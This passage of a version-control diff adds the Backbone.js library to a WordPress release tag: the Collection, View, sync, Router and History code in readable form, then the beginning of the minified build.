+      this._byId[model.cid] = model;
+      var id = this.modelId(model.attributes);
+      if (id != null) this._byId[id] = model;
+      model.on('all', this._onModelEvent, this);
+    },
+
+    // Internal method to sever a model's ties to a collection.
+    _removeReference: function(model, options) {
+      delete this._byId[model.cid];
+      var id = this.modelId(model.attributes);
+      if (id != null) delete this._byId[id];
+      if (this === model.collection) delete model.collection;
+      model.off('all', this._onModelEvent, this);
+    },
+
+    // Internal method called every time a model in the set fires an event.
+    // Sets need to update their indexes when models change ids. All other
+    // events simply proxy through. "add" and "remove" events that originate
+    // in other collections are ignored.
+    _onModelEvent: function(event, model, collection, options) {
+      if (model) {
+        if ((event === 'add' || event === 'remove') && collection !== this) return;
+        if (event === 'destroy') this.remove(model, options);
+        if (event === 'change') {
+          var prevId = this.modelId(model.previousAttributes());
+          var id = this.modelId(model.attributes);
+          if (prevId !== id) {
+            if (prevId != null) delete this._byId[prevId];
+            if (id != null) this._byId[id] = model;
+          }
+        }
+      }
+      this.trigger.apply(this, arguments);
+    }
+
+  });
+
+  // Underscore methods that we want to implement on the Collection.
+  // 90% of the core usefulness of Backbone Collections is actually implemented
+  // right here:
+  var collectionMethods = {forEach: 3, each: 3, map: 3, collect: 3, reduce: 0,
+      foldl: 0, inject: 0, reduceRight: 0, foldr: 0, find: 3, detect: 3, filter: 3,
+      select: 3, reject: 3, every: 3, all: 3, some: 3, any: 3, include: 3, includes: 3,
+      contains: 3, invoke: 0, max: 3, min: 3, toArray: 1, size: 1, first: 3,
+      head: 3, take: 3, initial: 3, rest: 3, tail: 3, drop: 3, last: 3,
+      without: 0, difference: 0, indexOf: 3, shuffle: 1, lastIndexOf: 3,
+      isEmpty: 1, chain: 1, sample: 3, partition: 3, groupBy: 3, countBy: 3,
+      sortBy: 3, indexBy: 3, findIndex: 3, findLastIndex: 3};
+
+  // Mix in each Underscore method as a proxy to `Collection#models`.
+  addUnderscoreMethods(Collection, collectionMethods, 'models');
+
+  // Backbone.View
+  // -------------
+
+  // Backbone Views are almost more convention than they are actual code. A View
+  // is simply a JavaScript object that represents a logical chunk of UI in the
+  // DOM. This might be a single item, an entire list, a sidebar or panel, or
+  // even the surrounding frame which wraps your whole app. Defining a chunk of
+  // UI as a **View** allows you to define your DOM events declaratively, without
+  // having to worry about render order ... and makes it easy for the view to
+  // react to specific changes in the state of your models.
+
+  // Creating a Backbone.View creates its initial element outside of the DOM,
+  // if an existing element is not provided...
+  var View = Backbone.View = function(options) {
+    this.cid = _.uniqueId('view');
+    _.extend(this, _.pick(options, viewOptions));
+    this._ensureElement();
+    this.initialize.apply(this, arguments);
+  };
+
+  // Cached regex to split keys for `delegate`.
+  var delegateEventSplitter = /^(\S+)\s*(.*)$/;
+
+  // List of view options to be set as properties.
+  var viewOptions = ['model', 'collection', 'el', 'id', 'attributes', 'className', 'tagName', 'events'];
+
+  // Set up all inheritable **Backbone.View** properties and methods.
+  _.extend(View.prototype, Events, {
+
+    // The default `tagName` of a View's element is `"div"`.
+    tagName: 'div',
+
+    // jQuery delegate for element lookup, scoped to DOM elements within the
+    // current view. This should be preferred to global lookups where possible.
+    $: function(selector) {
+      return this.$el.find(selector);
+    },
+
+    // Initialize is an empty function by default. Override it with your own
+    // initialization logic.
+    initialize: function(){},
+
+    // **render** is the core function that your view should override, in order
+    // to populate its element (`this.el`), with the appropriate HTML. The
+    // convention is for **render** to always return `this`.
+    render: function() {
+      return this;
+    },
+
+    // Remove this view by taking the element out of the DOM, and removing any
+    // applicable Backbone.Events listeners.
+    remove: function() {
+      this._removeElement();
+      this.stopListening();
+      return this;
+    },
+
+    // Remove this view's element from the document and all event listeners
+    // attached to it. Exposed for subclasses using an alternative DOM
+    // manipulation API.
+    _removeElement: function() {
+      this.$el.remove();
+    },
+
+    // Change the view's element (`this.el` property) and re-delegate the
+    // view's events on the new element.
+    setElement: function(element) {
+      this.undelegateEvents();
+      this._setElement(element);
+      this.delegateEvents();
+      return this;
+    },
+
+    // Creates the `this.el` and `this.$el` references for this view using the
+    // given `el`. `el` can be a CSS selector or an HTML string, a jQuery
+    // context or an element. Subclasses can override this to utilize an
+    // alternative DOM manipulation API and are only required to set the
+    // `this.el` property.
+    _setElement: function(el) {
+      this.$el = el instanceof Backbone.$ ? el : Backbone.$(el);
+      this.el = this.$el[0];
+    },
+
+    // Set callbacks, where `this.events` is a hash of
+    //
+    // *{"event selector": "callback"}*
+    //
+    //     {
+    //       'mousedown .title':  'edit',
+    //       'click .button':     'save',
+    //       'click .open':       function(e) { ... }
+    //     }
+    //
+    // pairs. Callbacks will be bound to the view, with `this` set properly.
+    // Uses event delegation for efficiency.
+    // Omitting the selector binds the event to `this.el`.
+    delegateEvents: function(events) {
+      events || (events = _.result(this, 'events'));
+      if (!events) return this;
+      this.undelegateEvents();
+      for (var key in events) {
+        var method = events[key];
+        if (!_.isFunction(method)) method = this[method];
+        if (!method) continue;
+        var match = key.match(delegateEventSplitter);
+        this.delegate(match[1], match[2], _.bind(method, this));
+      }
+      return this;
+    },
+
+    // Add a single event listener to the view's element (or a child element
+    // using `selector`). This only works for delegate-able events: not `focus`,
+    // `blur`, and not `change`, `submit`, and `reset` in Internet Explorer.
+    delegate: function(eventName, selector, listener) {
+      this.$el.on(eventName + '.delegateEvents' + this.cid, selector, listener);
+      return this;
+    },
+
+    // Clears all callbacks previously bound to the view by `delegateEvents`.
+    // You usually don't need to use this, but may wish to if you have multiple
+    // Backbone views attached to the same DOM element.
+    undelegateEvents: function() {
+      if (this.$el) this.$el.off('.delegateEvents' + this.cid);
+      return this;
+    },
+
+    // A finer-grained `undelegateEvents` for removing a single delegated event.
+    // `selector` and `listener` are both optional.
+    undelegate: function(eventName, selector, listener) {
+      this.$el.off(eventName + '.delegateEvents' + this.cid, selector, listener);
+      return this;
+    },
+
+    // Produces a DOM element to be assigned to your view. Exposed for
+    // subclasses using an alternative DOM manipulation API.
+    _createElement: function(tagName) {
+      return document.createElement(tagName);
+    },
+
+    // Ensure that the View has a DOM element to render into.
+    // If `this.el` is a string, pass it through `$()`, take the first
+    // matching element, and re-assign it to `el`. Otherwise, create
+    // an element from the `id`, `className` and `tagName` properties.
+    _ensureElement: function() {
+      if (!this.el) {
+        var attrs = _.extend({}, _.result(this, 'attributes'));
+        if (this.id) attrs.id = _.result(this, 'id');
+        if (this.className) attrs['class'] = _.result(this, 'className');
+        this.setElement(this._createElement(_.result(this, 'tagName')));
+        this._setAttributes(attrs);
+      } else {
+        this.setElement(_.result(this, 'el'));
+      }
+    },
+
+    // Set attributes from a hash on this view's element.  Exposed for
+    // subclasses using an alternative DOM manipulation API.
+    _setAttributes: function(attributes) {
+      this.$el.attr(attributes);
+    }
+
+  });
+
+  // Backbone.sync
+  // -------------
+
+  // Override this function to change the manner in which Backbone persists
+  // models to the server. You will be passed the type of request, and the
+  // model in question. By default, makes a RESTful Ajax request
+  // to the model's `url()`. Some possible customizations could be:
+  //
+  // * Use `setTimeout` to batch rapid-fire updates into a single request.
+  // * Send up the models as XML instead of JSON.
+  // * Persist models via WebSockets instead of Ajax.
+  //
+  // Turn on `Backbone.emulateHTTP` in order to send `PUT` and `DELETE` requests
+  // as `POST`, with a `_method` parameter containing the true HTTP method,
+  // as well as all requests with the body as `application/x-www-form-urlencoded`
+  // instead of `application/json` with the model in a param named `model`.
+  // Useful when interfacing with server-side languages like **PHP** that make
+  // it difficult to read the body of `PUT` requests.
+  Backbone.sync = function(method, model, options) {
+    var type = methodMap[method];
+
+    // Default options, unless specified.
+    _.defaults(options || (options = {}), {
+      emulateHTTP: Backbone.emulateHTTP,
+      emulateJSON: Backbone.emulateJSON
+    });
+
+    // Default JSON-request options.
+    var params = {type: type, dataType: 'json'};
+
+    // Ensure that we have a URL.
+    if (!options.url) {
+      params.url = _.result(model, 'url') || urlError();
+    }
+
+    // Ensure that we have the appropriate request data.
+    if (options.data == null && model && (method === 'create' || method === 'update' || method === 'patch')) {
+      params.contentType = 'application/json';
+      params.data = JSON.stringify(options.attrs || model.toJSON(options));
+    }
+
+    // For older servers, emulate JSON by encoding the request into an HTML-form.
+    if (options.emulateJSON) {
+      params.contentType = 'application/x-www-form-urlencoded';
+      params.data = params.data ? {model: params.data} : {};
+    }
+
+    // For older servers, emulate HTTP by mimicking the HTTP method with `_method`
+    // And an `X-HTTP-Method-Override` header.
+    if (options.emulateHTTP && (type === 'PUT' || type === 'DELETE' || type === 'PATCH')) {
+      params.type = 'POST';
+      if (options.emulateJSON) params.data._method = type;
+      var beforeSend = options.beforeSend;
+      options.beforeSend = function(xhr) {
+        xhr.setRequestHeader('X-HTTP-Method-Override', type);
+        if (beforeSend) return beforeSend.apply(this, arguments);
+      };
+    }
+
+    // Don't process data on a non-GET request.
+    if (params.type !== 'GET' && !options.emulateJSON) {
+      params.processData = false;
+    }
+
+    // Pass along `textStatus` and `errorThrown` from jQuery.
+    var error = options.error;
+    options.error = function(xhr, textStatus, errorThrown) {
+      options.textStatus = textStatus;
+      options.errorThrown = errorThrown;
+      if (error) error.call(options.context, xhr, textStatus, errorThrown);
+    };
+
+    // Make the request, allowing the user to override any Ajax options.
+    var xhr = options.xhr = Backbone.ajax(_.extend(params, options));
+    model.trigger('request', model, xhr, options);
+    return xhr;
+  };
+
+  // Map from CRUD to HTTP for our default `Backbone.sync` implementation.
+  var methodMap = {
+    'create': 'POST',
+    'update': 'PUT',
+    'patch': 'PATCH',
+    'delete': 'DELETE',
+    'read': 'GET'
+  };
+
+  // Set the default implementation of `Backbone.ajax` to proxy through to `$`.
+  // Override this if you'd like to use a different library.
+  Backbone.ajax = function() {
+    return Backbone.$.ajax.apply(Backbone.$, arguments);
+  };
+
+  // Backbone.Router
+  // ---------------
+
+  // Routers map faux-URLs to actions, and fire events when routes are
+  // matched. Creating a new one sets its `routes` hash, if not set statically.
+  var Router = Backbone.Router = function(options) {
+    options || (options = {});
+    if (options.routes) this.routes = options.routes;
+    this._bindRoutes();
+    this.initialize.apply(this, arguments);
+  };
+
+  // Cached regular expressions for matching named param parts and splatted
+  // parts of route strings.
+  var optionalParam = /\((.*?)\)/g;
+  var namedParam    = /(\(\?)?:\w+/g;
+  var splatParam    = /\*\w+/g;
+  var escapeRegExp  = /[\-{}\[\]+?.,\\\^$|#\s]/g;
+
+  // Set up all inheritable **Backbone.Router** properties and methods.
+  _.extend(Router.prototype, Events, {
+
+    // Initialize is an empty function by default. Override it with your own
+    // initialization logic.
+    initialize: function(){},
+
+    // Manually bind a single named route to a callback. For example:
+    //
+    //     this.route('search/:query/p:num', 'search', function(query, num) {
+    //       ...
+    //     });
+    //
+    route: function(route, name, callback) {
+      if (!_.isRegExp(route)) route = this._routeToRegExp(route);
+      if (_.isFunction(name)) {
+        callback = name;
+        name = '';
+      }
+      if (!callback) callback = this[name];
+      var router = this;
+      Backbone.history.route(route, function(fragment) {
+        var args = router._extractParameters(route, fragment);
+        if (router.execute(callback, args, name) !== false) {
+          router.trigger.apply(router, ['route:' + name].concat(args));
+          router.trigger('route', name, args);
+          Backbone.history.trigger('route', router, name, args);
+        }
+      });
+      return this;
+    },
+
+    // Execute a route handler with the provided parameters.  This is an
+    // excellent place to do pre-route setup or post-route cleanup.
+    execute: function(callback, args, name) {
+      if (callback) callback.apply(this, args);
+    },
+
+    // Simple proxy to `Backbone.history` to save a fragment into the history.
+    navigate: function(fragment, options) {
+      Backbone.history.navigate(fragment, options);
+      return this;
+    },
+
+    // Bind all defined routes to `Backbone.history`. We have to reverse the
+    // order of the routes here to support behavior where the most general
+    // routes can be defined at the bottom of the route map.
+    _bindRoutes: function() {
+      if (!this.routes) return;
+      this.routes = _.result(this, 'routes');
+      var route, routes = _.keys(this.routes);
+      while ((route = routes.pop()) != null) {
+        this.route(route, this.routes[route]);
+      }
+    },
+
+    // Convert a route string into a regular expression, suitable for matching
+    // against the current location hash.
+    _routeToRegExp: function(route) {
+      route = route.replace(escapeRegExp, '\\$&')
+                   .replace(optionalParam, '(?:$1)?')
+                   .replace(namedParam, function(match, optional) {
+                     return optional ? match : '([^/?]+)';
+                   })
+                   .replace(splatParam, '([^?]*?)');
+      return new RegExp('^' + route + '(?:\\?([\\s\\S]*))?$');
+    },
+
+    // Given a route, and a URL fragment that it matches, return the array of
+    // extracted decoded parameters. Empty or unmatched parameters will be
+    // treated as `null` to normalize cross-browser behavior.
+    _extractParameters: function(route, fragment) {
+      var params = route.exec(fragment).slice(1);
+      return _.map(params, function(param, i) {
+        // Don't decode the search params.
+        if (i === params.length - 1) return param || null;
+        return param ? decodeURIComponent(param) : null;
+      });
+    }
+
+  });
+
+  // Backbone.History
+  // ----------------
+
+  // Handles cross-browser history management, based on either
+  // [pushState](http://diveintohtml5.info/history.html) and real URLs, or
+  // [onhashchange](https://developer.mozilla.org/en-US/docs/DOM/window.onhashchange)
+  // and URL fragments. If the browser supports neither (old IE, natch),
+  // falls back to polling.
+  var History = Backbone.History = function() {
+    this.handlers = [];
+    this.checkUrl = _.bind(this.checkUrl, this);
+
+    // Ensure that `History` can be used outside of the browser.
+    if (typeof window !== 'undefined') {
+      this.location = window.location;
+      this.history = window.history;
+    }
+  };
+
+  // Cached regex for stripping a leading hash/slash and trailing space.
+  var routeStripper = /^[#\/]|\s+$/g;
+
+  // Cached regex for stripping leading and trailing slashes.
+  var rootStripper = /^\/+|\/+$/g;
+
+  // Cached regex for stripping urls of hash.
+  var pathStripper = /#.*$/;
+
+  // Has the history handling already been started?
+  History.started = false;
+
+  // Set up all inheritable **Backbone.History** properties and methods.
+  _.extend(History.prototype, Events, {
+
+    // The default interval to poll for hash changes, if necessary, is
+    // twenty times a second.
+    interval: 50,
+
+    // Are we at the app root?
+    atRoot: function() {
+      var path = this.location.pathname.replace(/[^\/]$/, '$&/');
+      return path === this.root && !this.getSearch();
+    },
+
+    // Does the pathname match the root?
+    matchRoot: function() {
+      var path = this.decodeFragment(this.location.pathname);
+      var rootPath = path.slice(0, this.root.length - 1) + '/';
+      return rootPath === this.root;
+    },
+
+    // Unicode characters in `location.pathname` are percent encoded so they're
+    // decoded for comparison. `%25` should not be decoded since it may be part
+    // of an encoded parameter.
+    decodeFragment: function(fragment) {
+      return decodeURI(fragment.replace(/%25/g, '%2525'));
+    },
+
+    // In IE6, the hash fragment and search params are incorrect if the
+    // fragment contains `?`.
+    getSearch: function() {
+      var match = this.location.href.replace(/#.*/, '').match(/\?.+/);
+      return match ? match[0] : '';
+    },
+
+    // Gets the true hash value. Cannot use location.hash directly due to bug
+    // in Firefox where location.hash will always be decoded.
+    getHash: function(window) {
+      var match = (window || this).location.href.match(/#(.*)$/);
+      return match ? match[1] : '';
+    },
+
+    // Get the pathname and search params, without the root.
+    getPath: function() {
+      var path = this.decodeFragment(
+        this.location.pathname + this.getSearch()
+      ).slice(this.root.length - 1);
+      return path.charAt(0) === '/' ? path.slice(1) : path;
+    },
+
+    // Get the cross-browser normalized URL fragment from the path or hash.
+    getFragment: function(fragment) {
+      if (fragment == null) {
+        if (this._usePushState || !this._wantsHashChange) {
+          fragment = this.getPath();
+        } else {
+          fragment = this.getHash();
+        }
+      }
+      return fragment.replace(routeStripper, '');
+    },
+
+    // Start the hash change handling, returning `true` if the current URL matches
+    // an existing route, and `false` otherwise.
+    start: function(options) {
+      if (History.started) throw new Error('Backbone.history has already been started');
+      History.started = true;
+
+      // Figure out the initial configuration. Do we need an iframe?
+      // Is pushState desired ... is it available?
+      this.options          = _.extend({root: '/'}, this.options, options);
+      this.root             = this.options.root;
+      this._wantsHashChange = this.options.hashChange !== false;
+      this._hasHashChange   = 'onhashchange' in window && (document.documentMode === void 0 || document.documentMode > 7);
+      this._useHashChange   = this._wantsHashChange && this._hasHashChange;
+      this._wantsPushState  = !!this.options.pushState;
+      this._hasPushState    = !!(this.history && this.history.pushState);
+      this._usePushState    = this._wantsPushState && this._hasPushState;
+      this.fragment         = this.getFragment();
+
+      // Normalize root to always include a leading and trailing slash.
+      this.root = ('/' + this.root + '/').replace(rootStripper, '/');
+
+      // Transition from hashChange to pushState or vice versa if both are
+      // requested.
+      if (this._wantsHashChange && this._wantsPushState) {
+
+        // If we've started off with a route from a `pushState`-enabled
+        // browser, but we're currently in a browser that doesn't support it...
+        if (!this._hasPushState && !this.atRoot()) {
+          var rootPath = this.root.slice(0, -1) || '/';
+          this.location.replace(rootPath + '#' + this.getPath());
+          // Return immediately as browser will do redirect to new url
+          return true;
+
+        // Or if we've started out with a hash-based route, but we're currently
+        // in a browser where it could be `pushState`-based instead...
+        } else if (this._hasPushState && this.atRoot()) {
+          this.navigate(this.getHash(), {replace: true});
+        }
+
+      }
+
+      // Proxy an iframe to handle location events if the browser doesn't
+      // support the `hashchange` event, HTML5 history, or the user wants
+      // `hashChange` but not `pushState`.
+      if (!this._hasHashChange && this._wantsHashChange && !this._usePushState) {
+        this.iframe = document.createElement('iframe');
+        this.iframe.src = 'javascript:0';
+        this.iframe.style.display = 'none';
+        this.iframe.tabIndex = -1;
+        var body = document.body;
+        // Using `appendChild` will throw on IE < 9 if the document is not ready.
+        var iWindow = body.insertBefore(this.iframe, body.firstChild).contentWindow;
+        iWindow.document.open();
+        iWindow.document.close();
+        iWindow.location.hash = '#' + this.fragment;
+      }
+
+      // Add a cross-platform `addEventListener` shim for older browsers.
+      var addEventListener = window.addEventListener || function(eventName, listener) {
+        return attachEvent('on' + eventName, listener);
+      };
+
+      // Depending on whether we're using pushState or hashes, and whether
+      // 'onhashchange' is supported, determine how we check the URL state.
+      if (this._usePushState) {
+        addEventListener('popstate', this.checkUrl, false);
+      } else if (this._useHashChange && !this.iframe) {
+        addEventListener('hashchange', this.checkUrl, false);
+      } else if (this._wantsHashChange) {
+        this._checkUrlInterval = setInterval(this.checkUrl, this.interval);
+      }
+
+      if (!this.options.silent) return this.loadUrl();
+    },
+
+    // Disable Backbone.history, perhaps temporarily. Not useful in a real app,
+    // but possibly useful for unit testing Routers.
+    stop: function() {
+      // Add a cross-platform `removeEventListener` shim for older browsers.
+      var removeEventListener = window.removeEventListener || function(eventName, listener) {
+        return detachEvent('on' + eventName, listener);
+      };
+
+      // Remove window listeners.
+      if (this._usePushState) {
+        removeEventListener('popstate', this.checkUrl, false);
+      } else if (this._useHashChange && !this.iframe) {
+        removeEventListener('hashchange', this.checkUrl, false);
+      }
+
+      // Clean up the iframe if necessary.
+      if (this.iframe) {
+        document.body.removeChild(this.iframe);
+        this.iframe = null;
+      }
+
+      // Some environments will throw when clearing an undefined interval.
+      if (this._checkUrlInterval) clearInterval(this._checkUrlInterval);
+      History.started = false;
+    },
+
+    // Add a route to be tested when the fragment changes. Routes added later
+    // may override previous routes.
+    route: function(route, callback) {
+      this.handlers.unshift({route: route, callback: callback});
+    },
+
+    // Checks the current URL to see if it has changed, and if it has,
+    // calls `loadUrl`, normalizing across the hidden iframe.
+    checkUrl: function(e) {
+      var current = this.getFragment();
+
+      // If the user pressed the back button, the iframe's hash will have
+      // changed and we should use that for comparison.
+      if (current === this.fragment && this.iframe) {
+        current = this.getHash(this.iframe.contentWindow);
+      }
+
+      if (current === this.fragment) return false;
+      if (this.iframe) this.navigate(current);
+      this.loadUrl();
+    },
+
+    // Attempt to load the current URL fragment. If a route succeeds with a
+    // match, returns `true`. If no defined routes matches the fragment,
+    // returns `false`.
+    loadUrl: function(fragment) {
+      // If the root doesn't match, no routes can match either.
+      if (!this.matchRoot()) return false;
+      fragment = this.fragment = this.getFragment(fragment);
+      return _.some(this.handlers, function(handler) {
+        if (handler.route.test(fragment)) {
+          handler.callback(fragment);
+          return true;
+        }
+      });
+    },
+
+    // Save a fragment into the hash history, or replace the URL state if the
+    // 'replace' option is passed. You are responsible for properly URL-encoding
+    // the fragment in advance.
+    //
+    // The options object can contain `trigger: true` if you wish to have the
+    // route callback be fired (not usually desirable), or `replace: true`, if
+    // you wish to modify the current URL without adding an entry to the history.
+    navigate: function(fragment, options) {
+      if (!History.started) return false;
+      if (!options || options === true) options = {trigger: !!options};
+
+      // Normalize the fragment.
+      fragment = this.getFragment(fragment || '');
+
+      // Don't include a trailing slash on the root.
+      var rootPath = this.root;
+      if (fragment === '' || fragment.charAt(0) === '?') {
+        rootPath = rootPath.slice(0, -1) || '/';
+      }
+      var url = rootPath + fragment;
+
+      // Strip the hash and decode for matching.
+      fragment = this.decodeFragment(fragment.replace(pathStripper, ''));
+
+      if (this.fragment === fragment) return;
+      this.fragment = fragment;
+
+      // If pushState is available, we use it to set the fragment as a real URL.
+      if (this._usePushState) {
+        this.history[options.replace ? 'replaceState' : 'pushState']({}, document.title, url);
+
+      // If hash changes haven't been explicitly disabled, update the hash
+      // fragment to store history.
+      } else if (this._wantsHashChange) {
+        this._updateHash(this.location, fragment, options.replace);
+        if (this.iframe && fragment !== this.getHash(this.iframe.contentWindow)) {
+          var iWindow = this.iframe.contentWindow;
+
+          // Opening and closing the iframe tricks IE7 and earlier to push a
+          // history entry on hash-tag change.  When replace is true, we don't
+          // want this.
+          if (!options.replace) {
+            iWindow.document.open();
+            iWindow.document.close();
+          }
+
+          this._updateHash(iWindow.location, fragment, options.replace);
+        }
+
+      // If you've told us that you explicitly don't want fallback hashchange-
+      // based history, then `navigate` becomes a page refresh.
+      } else {
+        return this.location.assign(url);
+      }
+      if (options.trigger) return this.loadUrl(fragment);
+    },
+
+    // Update the hash location, either replacing the current entry, or adding
+    // a new one to the browser history.
+    _updateHash: function(location, fragment, replace) {
+      if (replace) {
+        var href = location.href.replace(/(javascript:|#).*$/, '');
+        location.replace(href + '#' + fragment);
+      } else {
+        // Some browsers require that `hash` contains a leading #.
+        location.hash = '#' + fragment;
+      }
+    }
+
+  });
+
+  // Create the default Backbone.history.
+  Backbone.history = new History;
+
+  // Helpers
+  // -------
+
+  // Helper function to correctly set up the prototype chain for subclasses.
+  // Similar to `goog.inherits`, but uses a hash of prototype properties and
+  // class properties to be extended.
+  var extend = function(protoProps, staticProps) {
+    var parent = this;
+    var child;
+
+    // The constructor function for the new subclass is either defined by you
+    // (the "constructor" property in your `extend` definition), or defaulted
+    // by us to simply call the parent constructor.
+    if (protoProps && _.has(protoProps, 'constructor')) {
+      child = protoProps.constructor;
+    } else {
+      child = function(){ return parent.apply(this, arguments); };
+    }
+
+    // Add static properties to the constructor function, if supplied.
+    _.extend(child, parent, staticProps);
+
+    // Set the prototype chain to inherit from `parent`, without calling
+    // `parent`'s constructor function and add the prototype properties.
+    child.prototype = _.create(parent.prototype, protoProps);
+    child.prototype.constructor = child;
+
+    // Set a convenience property in case the parent's prototype is needed
+    // later.
+    child.__super__ = parent.prototype;
+
+    return child;
+  };
+
+  // Set up inheritance for the model, collection, router, view and history.
+  Model.extend = Collection.extend = Router.extend = View.extend = History.extend = extend;
+
+  // Throw an error when a URL is needed, and none is supplied.
+  var urlError = function() {
+    throw new Error('A "url" property or function must be specified');
+  };
+
+  // Wrap an optional error callback with a fallback error event.
+  var wrapError = function(model, options) {
+    var error = options.error;
+    options.error = function(resp) {
+      if (error) error.call(options.context, model, resp, options);
+      model.trigger('error', model, resp, options);
+    };
+  };
+
+  return Backbone;
+});
Index: /tags/5.0.20/src/wp-includes/js/backbone.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/backbone.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/backbone.min.js	(revision 56912)
@@ -0,0 +1,1 @@
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t=i.result(this,"urlRoot")||i.result(this.collection,"url")||F();if(this.isNew())return t;var e=this.get(this.idAttribute);return t.replace(/[^\/]$/,"$&/")+encodeURIComponent(e)},parse:function(t,e){return t},clone:function(){return new this.constructor(this.attributes)},isNew:function(){return!this.has(this.idAttribute)},isValid:function(t){return this._validate({},i.extend({},t,{validate:true}))},_validate:function(t,e){if(!e.validate||!this.validate)return true;t=i.extend({},this.attributes,t);var r=this.validationError=this.validate(t,e)||null;if(!r)return true;this.trigger("invalid",this,r,i.extend(e,{validationError:r}));return false}});var b={keys:1,values:1,pairs:1,invert:1,pick:0,omit:0,chain:1,isEmpty:1};h(y,b,"attributes");var x=e.Collection=function(t,e){e||(e={});if(e.model)this.model=e.model;if(e.comparator!==void 0)this.comparator=e.comparator;this._reset();this.initialize.apply(this,arguments);if(t)this.reset(t,i.extend({silent:true},e))};var w={add:true,remove:true,merge:true};var E={add:true,remove:false};var I=function(t,e,i){i=Math.min(Math.max(i,0),t.length);var r=Array(t.length-i);var n=e.length;var s;for(s=0;s<r.length;s++)r[s]=t[s+i];for(s=0;s<n;s++)t[s+i]=e[s];for(s=0;s<r.length;s++)t[s+n+i]=r[s]};i.extend(x.prototype,u,{model:y,initialize:function(){},toJSON:function(t){return this.map(function(e){return e.toJSON(t)})},sync:function(){return e.sync.apply(this,arguments)},add:function(t,e){return this.set(t,i.extend({merge:false},e,E))},remove:function(t,e){e=i.extend({},e);var r=!i.isArray(t);t=r?[t]:t.slice();var n=this._removeModels(t,e);if(!e.silent&&n.length){e.changes={added:[],merged:[],removed:n};this.trigger("update",this,e)}return r?n[0]:n},set:function(t,e){if(t==null)return;e=i.extend({},w,e);if(e.parse&&!this._isModel(t)){t=this.parse(t,e)||[]}var r=!i.isArray(t);t=r?[t]:t.slice();var n=e.at;if(n!=null)n=+n;if(n>this.length)n=this.length;if(n<0)n+=this.length+1;var s=[];var a=[];var h=[];var o=[];var l={};var u=e.add;var c=e.merge;var f=e.remove;var d=false;var v=this.comparator&&n==null&&e.sort!==false;var g=i.isString(this.comparator)?this.comparator:null;var p,m;for(m=0;m<t.length;m++){p=t[m];var _=this.get(p);if(_){if(c&&p!==_){var y=this._isModel(p)?p.attributes:p;if(e.parse)y=_.parse(y,e);_.set(y,e);h.push(_);if(v&&!d)d=_.hasChanged(g)}if(!l[_.cid]){l[_.cid]=true;s.push(_)}t[m]=_}else if(u){p=t[m]=this._prepareModel(p,e);if(p){a.push(p);this._addReference(p,e);l[p.cid]=true;s.push(p)}}}if(f){for(m=0;m<this.length;m++){p=this.models[m];if(!l[p.cid])o.push(p)}if(o.length)this._removeModels(o,e)}var b=false;var x=!v&&u&&f;if(s.length&&x){b=this.length!==s.length||i.some(this.models,function(t,e){return t!==s[e]});this.models.length=0;I(this.models,s,0);this.length=this.models.length}else if(a.length){if(v)d=true;I(this.models,a,n==null?this.length:n);this.length=this.models.length}if(d)this.sort({silent:true});if(!e.silent){for(m=0;m<a.length;m++){if(n!=null)e.index=n+m;p=a[m];p.trigger("add",p,this,e)}if(d||b)this.trigger("sort",this,e);if(a.length||o.length||h.length){e.changes={added:a,removed:o,merged:h};this.trigger("update",this,e)}}return r?t[0]:t},reset:function(t,e){e=e?i.clone(e):{};for(var r=0;r<this.models.length;r++){this._removeReference(this.models[r],e)}e.previousModels=this.models;this._reset();t=this.add(t,i.extend({silent:true},e));if(!e.silent)this.trigger("reset",this,e);return t},push:function(t,e){return this.add(t,i.extend({at:this.length},e))},pop:function(t){var e=this.at(this.length-1);return this.remove(e,t)},unshift:function(t,e){return this.add(t,i.extend({at:0},e))},shift:function(t){var e=this.at(0);return this.remove(e,t)},slice:function(){return s.apply(this.models,arguments)},get:function(t){if(t==null)return void 0;return this._byId[t]||this._byId[this.modelId(t.attributes||t)]||t.cid&&this._byId[t.cid]},has:function(t){return this.get(t)!=null},at:function(t){if(t<0)t+=this.length;return this.models[t]},where:function(t,e){return this[e?"find":"filter"](t)},findWhere:function(t){return this.where(t,true)},sort:function(t){var e=this.comparator;if(!e)throw new Error("Cannot sort a set without a comparator");t||(t={});var r=e.length;if(i.isFunction(e))e=i.bind(e,this);if(r===1||i.isString(e)){this.models=this.sortBy(e)}else{this.models.sort(e)}if(!t.silent)this.trigger("sort",this,t);return this},pluck:function(t){return this.map(t+"")},fetch:function(t){t=i.extend({parse:true},t);var e=t.success;var r=this;t.success=function(i){var n=t.reset?"reset":"set";r[n](i,t);if(e)e.call(t.context,r,i,t);r.trigger("sync",r,i,t)};B(this,t);return this.sync("read",this,t)},create:function(t,e){e=e?i.clone(e):{};var r=e.wait;t=this._prepareModel(t,e);if(!t)return false;if(!r)this.add(t,e);var n=this;var s=e.success;e.success=function(t,e,i){if(r)n.add(t,i);if(s)s.call(i.context,t,e,i)};t.save(null,e);return t},parse:function(t,e){return t},clone:function(){return new this.constructor(this.models,{model:this.model,comparator:this.comparator})},modelId:function(t){return t[this.model.prototype.idAttribute||"id"]},_reset:function(){this.length=0;this.models=[];this._byId={}},_prepareModel:function(t,e){if(this._isModel(t)){if(!t.collection)t.collection=this;return t}e=e?i.clone(e):{};e.collection=this;var r=new this.model(t,e);if(!r.validationError)return r;this.trigger("invalid",this,r.validationError,e);return false},_removeModels:function(t,e){var i=[];for(var r=0;r<t.length;r++){var n=this.get(t[r]);if(!n)continue;var s=this.indexOf(n);this.models.splice(s,1);this.length--;delete this._byId[n.cid];var a=this.modelId(n.attributes);if(a!=null)delete this._byId[a];if(!e.silent){e.index=s;n.trigger("remove",n,this,e)}i.push(n);this._removeReference(n,e)}return i},_isModel:function(t){return t instanceof y},_addReference:function(t,e){this._byId[t.cid]=t;var i=this.modelId(t.attributes);if(i!=null)this._byId[i]=t;t.on("all",this._onModelEvent,this)},_removeReference:function(t,e){delete this._byId[t.cid];var i=this.modelId(t.attributes);if(i!=null)delete this._byId[i];if(this===t.collection)delete t.collection;t.off("all",this._onModelEvent,this)},_onModelEvent:function(t,e,i,r){if(e){if((t==="add"||t==="remove")&&i!==this)return;if(t==="destroy")this.remove(e,r);if(t==="change"){var n=this.modelId(e.previousAttributes());var s=this.modelId(e.attributes);if(n!==s){if(n!=null)delete this._byId[n];if(s!=null)this._byId[s]=e}}}this.trigger.apply(this,arguments)}});var 